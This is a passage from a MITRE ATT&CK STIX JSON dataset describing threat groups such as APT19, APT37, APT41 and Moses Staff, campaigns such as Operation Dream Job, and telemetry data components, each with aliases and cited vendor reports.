2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.272Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.272Z","name":"Module Load","description":"Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)","x_mitre_data_source_ref":"x-mitre-data-source--f424e4b4-a8a4-4c58-a4ae-4f53bfd08563","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T03:03:02.576Z","name":"APT19","description":"[APT19](https://attack.mitre.org/groups/G0073) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](https://attack.mitre.org/groups/G0073) and [Deep Panda](https://attack.mitre.org/groups/G0009) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)","aliases":["APT19","Codoso","C0d0so0","Codoso Team","Sunshop Group"],"x_mitre_deprecated":false,"x_mitre_version":"1.6","x_mitre_contributors":["FS-ISAC","Darren Spruell"],"type":"intrusion-set","id":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0073","external_id":"G0073"},{"source_name":"Sunshop Group","description":"(Citation: Dark Reading Codoso Feb 2015)"},{"source_name":"Codoso Team","description":"(Citation: FireEye APT Groups)"},{"source_name":"APT19","description":"(Citation: FireEye APT19)"},{"source_name":"Codoso","description":"(Citation: Unit 42 C0d0so0 Jan 2016)"},{"source_name":"C0d0so0","description":"(Citation: Unit 42 C0d0so0 Jan 2016)"},{"source_name":"FireEye APT19","description":"Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html"},{"source_name":"Dark Reading Codoso Feb 2015","description":"Chickowski, E. (2015, February 10). Chinese Hacking Group Codoso Team Uses Forbes.com As Watering Hole. Retrieved September 13, 2018.","url":"https://www.darkreading.com/attacks-breaches/chinese-hacking-group-codoso-team-uses-forbescom-as-watering-hole-/d/d-id/1319059"},{"source_name":"FireEye APT Groups","description":"FireEye. (n.d.). Advanced Persistent Threat Groups. Retrieved August 3, 2018.","url":"https://www.fireeye.com/current-threats/apt-groups.html#apt19"},{"source_name":"Unit 42 C0d0so0 Jan 2016","description":"Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/"},{"source_name":"ICIT China's Espionage Jul 2016","description":"Scott, J. and Spaniel, D. (2016, July 28). ICIT Brief - China’s Espionage Dynasty: Economic Death by a Thousand Cuts. Retrieved June 7, 2018.","url":"https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:39:25.190Z","name":"Moses Staff","description":"[Moses Staff](https://attack.mitre.org/groups/G1009) is a suspected Iranian threat group that has primarily targeted Israeli companies since at least September 2021. [Moses Staff](https://attack.mitre.org/groups/G1009) openly stated their motivation in attacking Israeli companies is to cause damage by leaking stolen sensitive data and encrypting the victim's networks without a ransom demand.(Citation: Checkpoint MosesStaff Nov 2021) \n\nSecurity researchers assess [Moses Staff](https://attack.mitre.org/groups/G1009) is politically motivated, and has targeted government, finance, travel, energy, manufacturing, and utility companies outside of Israel as well, including those in Italy, India, Germany, Chile, Turkey, the UAE, and the US.(Citation: Cybereason StrifeWater Feb 2022)","aliases":["Moses Staff","DEV-0500","Marigold Sandstorm"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","x_mitre_contributors":["Hiroki Nagahama, NEC Corporation","Pooja Natarajan, NEC Corporation India","Manikantan Srinivasan, NEC Corporation India"],"type":"intrusion-set","id":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","created":"2022-08-11T22:47:27.686Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G1009","external_id":"G1009"},{"source_name":"DEV-0500","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Marigold Sandstorm","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"},{"source_name":"Cybereason StrifeWater Feb 2022","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:30:42.003Z","name":"Operation Dust Storm","description":"[Operation Dust Storm](https://attack.mitre.org/campaigns/C0016) was a long-standing persistent cyber espionage campaign that targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. By 2015, the [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016) threat actors shifted from government and defense-related intelligence targets to Japanese companies or Japanese subdivisions of larger foreign organizations supporting Japan's critical infrastructure, including electricity generation, oil and natural gas, finance, transportation, and construction.(Citation: Cylance Dust Storm)\n\n[Operation Dust Storm](https://attack.mitre.org/campaigns/C0016) threat actors also began to use Android backdoors in their operations by 2015, with all identified victims at the time residing in Japan or South Korea.(Citation: Cylance Dust Storm)","aliases":["Operation Dust Storm"],"first_seen":"2010-01-01T07:00:00.000Z","last_seen":"2016-02-01T06:00:00.000Z","x_mitre_first_seen_citation":"(Citation: Cylance Dust Storm)","x_mitre_last_seen_citation":"(Citation: Cylance Dust Storm)","x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"campaign","id":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","created":"2022-09-29T20:00:38.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0016","external_id":"C0016"},{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack","mobile-attack"]},{"modified":"2022-10-20T20:18:06.745Z","name":"Network Connection Creation","description":"Initial construction of a network connection, such as capturing socket information with a source/destination IP and port(s) (ex: Windows EID 5156, Sysmon EID 3, or Zeek conn.log)","x_mitre_data_source_ref":"x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3","x_mitre_deprecated":false,"x_mitre_version":"1.1","type":"x-mitre-data-component","id":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:31:21.576Z","name":"Operation Dream Job","description":"[Operation Dream Job](https://attack.mitre.org/campaigns/C0022) was a cyber espionage operation likely conducted by [Lazarus Group](https://attack.mitre.org/groups/G0032) that targeted the defense, aerospace, government, and other sectors in the United States, Israel, Australia, Russia, and India. In at least one case, the cyber actors tried to monetize their network access to conduct a business email compromise (BEC) operation. In 2020, security researchers noted overlapping TTPs, to include fake job lures and code similarities, between [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), Operation North Star, and Operation Interception; by 2022 security researchers described [Operation Dream Job](https://attack.mitre.org/campaigns/C0022) as an umbrella term covering both Operation Interception and Operation North Star.(Citation: ClearSky Lazarus Aug 2020)(Citation: McAfee Lazarus Jul 2020)(Citation: ESET Lazarus Jun 2020)(Citation: The Hacker News Lazarus Aug 2022)","aliases":["Operation Dream Job","Operation North Star","Operation Interception"],"first_seen":"2019-09-01T04:00:00.000Z","last_seen":"2020-08-01T04:00:00.000Z","x_mitre_first_seen_citation":"(Citation: ESET Lazarus Jun 2020)","x_mitre_last_seen_citation":"(Citation: ClearSky Lazarus Aug 2020)","x_mitre_deprecated":false,"x_mitre_version":"1.2","type":"campaign","id":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","created":"2023-03-17T13:37:42.596Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/campaigns/C0022","external_id":"C0022"},{"source_name":"Operation Interception","description":"(Citation: ESET Lazarus Jun 2020)"},{"source_name":"Operation North Star","description":"(Citation: McAfee Lazarus Jul 2020)(Citation: McAfee Lazarus Nov 2020)"},{"source_name":"McAfee Lazarus Nov 2020","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/"},{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"},{"source_name":"The Hacker News Lazarus Aug 2022","description":"Lakshmanan, R. (2022, August 17). North Korea Hackers Spotted Targeting Job Seekers with macOS Malware. Retrieved April 10, 2023.","url":"https://thehackernews.com/2022/08/north-korea-hackers-spotted-targeting.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_domains":["enterprise-attack"]},{"modified":"2022-09-22T20:54:08.611Z","name":"Night Dragon","description":"[Night Dragon](https://attack.mitre.org/groups/G0014) is a campaign name for activity involving a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)","aliases":["Night Dragon"],"x_mitre_deprecated":true,"x_mitre_version":"1.4","type":"intrusion-set","id":"intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8","created":"2017-05-31T21:31:51.643Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0014","external_id":"G0014"},{"source_name":"Night Dragon","description":"(Citation: McAfee Night Dragon)"},{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:40:46.966Z","name":"Molerats","description":"[Molerats](https://attack.mitre.org/groups/G0021) is an Arabic-speaking, politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.(Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020)","aliases":["Molerats","Operation Molerats","Gaza Cybergang"],"x_mitre_deprecated":false,"x_mitre_version":"2.1","type":"intrusion-set","id":"intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411","created":"2017-05-31T21:31:55.093Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0021","external_id":"G0021"},{"source_name":"Molerats","description":"(Citation: DustySky)"},{"source_name":"Gaza Cybergang","description":"(Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020)"},{"source_name":"Operation Molerats","description":"(Citation: FireEye Operation Molerats)(Citation: Cybereason Molerats Dec 2020)"},{"source_name":"DustySky2","description":"ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.","url":"http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf"},{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"},{"source_name":"Cybereason Molerats Dec 2020","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf"},{"source_name":"Kaspersky MoleRATs April 2019","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020.","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/"},{"source_name":"FireEye Operation Molerats","description":"Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.","url":"https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Stealth Falcon"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8","type":"intrusion-set","created":"2017-05-31T21:32:06.390Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0038","external_id":"G0038"},{"source_name":"Stealth Falcon","description":"(Citation: Citizen Lab Stealth Falcon May 2016)"},{"source_name":"Citizen Lab Stealth Falcon May 2016","description":"Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don’t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.","url":"https://citizenlab.org/2016/05/stealth-falcon/"}],"modified":"2020-11-23T18:57:19.208Z","name":"Stealth Falcon","description":"[Stealth Falcon](https://attack.mitre.org/groups/G0038) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.273Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.273Z","name":"Windows Registry Key Access","description":"Opening a Registry Key, typically to read the associated value (ex: Windows EID 4656)","x_mitre_data_source_ref":"x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["DarkVishnya"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","type":"intrusion-set","created":"2020-05-15T13:07:26.651Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0105","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0105"},{"source_name":"DarkVishnya","description":"(Citation: Securelist DarkVishnya Dec 2018)"},{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2021-10-12T22:10:04.107Z","name":"DarkVishnya","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) is a financially motivated threat actor targeting financial institutions in Eastern Europe. In 2017-2018 the group attacked at least 8 banks in this region.(Citation: Securelist DarkVishnya Dec 2018)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-20T15:05:19.274Z","name":"Network Traffic Content","description":"Logged network traffic data showing both protocol header and body values (ex: PCAP)","x_mitre_data_source_ref":"x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-06-26T18:59:30.461Z","name":"APT37","description":"[APT37](https://attack.mitre.org/groups/G0067) is a North Korean state-sponsored cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to the following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, North Korean Human Rights, and Evil New Year 2018.(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft Jun 2016)(Citation: Talos Group123)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.","aliases":["APT37","InkySquid","ScarCruft","Reaper","Group123","TEMP.Reaper","Ricochet Chollima"],"x_mitre_deprecated":false,"x_mitre_version":"2.0","x_mitre_contributors":["Valerii Marchuk, Cybersecurity Help s.r.o."],"type":"intrusion-set","id":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0067","external_id":"G0067"},{"source_name":"Ricochet Chollima","description":"(Citation: CrowdStrike Richochet Chollima September 2021)"},{"source_name":"APT37","description":"(Citation: FireEye APT37 Feb 2018)"},{"source_name":"Reaper","description":"(Citation: FireEye APT37 Feb 2018)"},{"source_name":"Group123","description":"(Citation: FireEye APT37 Feb 2018)"},{"source_name":"TEMP.Reaper","description":"(Citation: FireEye APT37 Feb 2018)"},{"source_name":"ScarCruft","description":"(Citation: Securelist ScarCruft Jun 2016)(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft May 2019)"},{"source_name":"InkySquid","description":"(Citation: Volexity InkySquid BLUELIGHT August 2021)"},{"source_name":"Volexity InkySquid BLUELIGHT August 2021","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021.","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/"},{"source_name":"CrowdStrike Richochet Chollima September 2021","description":"CrowdStrike. (2021, September 30). Adversary Profile - Ricochet Chollima. Retrieved September 30, 2021.","url":"https://www.crowdstrike.com/adversaries/ricochet-chollima/"},{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"},{"source_name":"Securelist ScarCruft May 2019","description":"GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.","url":"https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/"},{"source_name":"Talos Group123","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html"},{"source_name":"Securelist ScarCruft Jun 2016","description":"Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.","url":"https://securelist.com/operation-daybreak/75100/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Threat Group-1314","TG-1314"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983","type":"intrusion-set","created":"2017-05-31T21:31:59.120Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0028","external_id":"G0028"},{"source_name":"Threat Group-1314","description":"(Citation: Dell TG-1314)"},{"source_name":"TG-1314","description":"(Citation: Dell TG-1314)"},{"url":"http://www.secureworks.com/resources/blog/living-off-the-land/","description":"Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.","source_name":"Dell TG-1314"}],"modified":"2020-03-19T21:58:20.831Z","name":"Threat Group-1314","description":"[Threat Group-1314](https://attack.mitre.org/groups/G0028) is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure. (Citation: Dell TG-1314)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-10T14:31:35.326Z","name":"APT41","description":"[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting various industries, including but not limited to healthcare, telecom, technology, finance, education, retail and video game industries in 14 countries.(Citation: apt41_mandiant) Notable behaviors include using a wide range of malware and tools to complete mission objectives. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)\n","aliases":["APT41","Wicked Panda","Brass Typhoon","BARIUM"],"x_mitre_deprecated":false,"x_mitre_version":"4.1","x_mitre_contributors":["Kyaw Pyiyt Htet, @KyawPyiytHtet","Nikita Rostovcev, Group-IB"],"type":"intrusion-set","id":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","created":"2019-09-23T13:43:36.945Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0096","external_id":"G0096"},{"source_name":"Wicked Panda","description":"(Citation: Crowdstrike GTR2020 Mar 2020)"},{"source_name":"APT41","description":"(Citation: FireEye APT41 2019)"},{"source_name":"Brass Typhoon","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"BARIUM","description":"(Citation: Microsoft Threat Actor Naming July 2023)"},{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"FireEye APT41 2019","description":"FireEye. (2019). Double DragonAPT41, a dual espionage andcyber crime operationAPT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"apt41_mandiant","description":"Mandiant. (n.d.). APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION. Retrieved June 11, 2024.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Microsoft Threat Actor Naming July 2023","description":"Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.","url":"https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide"},{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_domains":["enterprise-attack"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-28T19:03:08.838Z","name":"INC Ransom","description":"[INC Ransom](https://attack.mitre.org/groups/G1032) is a ransomware and data extortion threat group associated with the deployment of [INC Ransomware](https://attack.mitre.org/software/S1139) that has been active since at least July 2023. [INC Ransom](https://attack.mitre.org/groups/G1032) has targeted organizations worldwide most commonly in the industrial, healthcare, and education sectors in the US and Europe.(Citation: Bleeping Computer INC Ransomware March 2024)(Citation: Cybereason INC Ransomware November 2023)(Citation: Secureworks GOLD IONIC April 2024)(Citation: SentinelOne INC Ransomware)","aliases":["INC Ransom","GOLD IONIC"],"x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_contributors":["Matt Anderson, @‌nosecurething, 